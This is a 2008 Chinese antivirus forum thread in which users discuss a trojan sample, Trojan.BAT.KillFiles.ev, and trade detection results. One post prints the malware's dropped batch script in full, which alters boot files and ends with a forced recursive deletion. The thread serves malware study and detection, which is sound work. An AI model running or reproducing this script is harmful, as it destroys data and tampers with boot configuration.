超级巡警抓到的样本

水晶

发现病毒:Trojan.BAT.KillFiles.ev  处理结果:清除成功   描述:特洛伊木马  文件路径:"C:\WINDOWS\Temp\yjhy\setup.exe"

kikyo9527

干掉

lg560852

这个有啥行为没？
在线分析就报了一木马，然后创建了2个文件夹，完了
http://www.threatexpert.com/repo ... b4fa248dd9977d85768
倒是，这个病毒的图标很好看

[ 本帖最后由 lg560852 于 2008-8-19 08:28 编辑 ]

syfwxmh

TOKL

忧郁浪子

1. 2008-08-19 09:13:10    运行应用程序      操作:阻止
   
2. 进程路径:F:\virus\setup\setup.exe
   
3. 文件路径:C:\WINDOWS\system32\cmd.exe
   
4. 命令行:/c C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\1520093.bat  
   
5. 触发规则:所有程序规则->禁止该位置->%windir%\*
   

复制代码

1520093.bat内容如下：

1. @Echo Off
   
2. Copy /y windows\*.* c:\windows >nul
   
3. nt.exe
   
4. ;Echo 程序正在运行,请稍等,12秒钟后自动重启电脑...
   
5. sleep 12
   
6. If Exist c:\boot\ghos. rd /s /q c:\boot\ghos
   
7. If Exist c:\GHLDR attrib -r -s -h c:\GHLDR
   
8. If Exist c:\GHLDR Del GHLDR
   
9. md c:\boot\ghos
   
10. Copy PQVF.VFD c:\boot\ghos\dos.img >nul
    
11. Copy menu.lst c:\boot\ghos\ >nul
    
12. Copy GHLDR c:\ >nul
    
13. Copy IMG.exe c:\boot\ghos >nul
    
14. Del IMG.exe
    
15. Cd\
    
16. c:
    
17. Cd c:\boot\ghos
    
18. Echo cdqd >cdqd.exe
    
19. IMG A dos.img cdqd.exe
    
20. Del IMG.exe
    
21. Del cdqd.exe
    
22. Del /f /s /q .

复制代码

fireworld

破坏dos工具箱的？

kkgh

诺顿杀

cruiyong

有这些动作

luxiao200888

TR/Horse.HK Trojan

龙城小武

卡巴2009过了